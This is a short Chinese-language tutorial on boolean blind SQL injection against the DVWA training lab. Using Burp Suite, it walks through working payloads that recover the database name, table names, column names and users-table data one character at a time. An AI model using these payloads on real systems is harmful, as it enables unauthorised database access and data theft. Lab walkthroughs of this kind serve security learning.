Ascii值常用的(33!-126~)查询数据库的长度1' and length(database())>10 #
1' and length(database())=1#
通过burp suit捉包来获取数据库长度可以看到数据库长度为4
爆破数据库的名字通过ascii来匹配数据库名,发现数据库名是dvwa1' and ascii(substr(database(),1,1))=100#
爆破dvwa数据库中的表首先查看有几个表可以看到有两个表1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#
查看表的长度1' and length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=1#添加两个参数,第一个参数代表查询到的表从第几个开始,第二个参数代表表的长度
可以看到第一表长度为9,第二个表长度为5
爆破表名1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=88 #通过查找ascii,可以看到第一个表是guestbook,第二个表是users
爆破users表中的字段数
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #
可以看到users表中共有8列数
获取users表中每个字段的行数1' and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1))=5 #可以看到第一个字段常为7
爆破users表中的每个字段名1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=5 #通过查看ascii可以看到users表中的第一个字段是user_id,第二字段数first_name
通过修改以下参数可以修改查询的字段,重复上述操作可以得到其余七个字段名
获取users表中user_id字段的行数1' and (select count(*) from users)=1#
获取users表中first_name字段的第一个数据长度1' and length(substr((select first_name from users limit 0,1),1))=1#
获取users表中first_name字段的第二个数据名1' and ascii(substr((select first_name from users limit 1,1),1,1))=1#通过查看ascii可以看到其名为Gordon
查询其他字段的信息通过修改以下位置的1来修改查询的字段,其余操作如上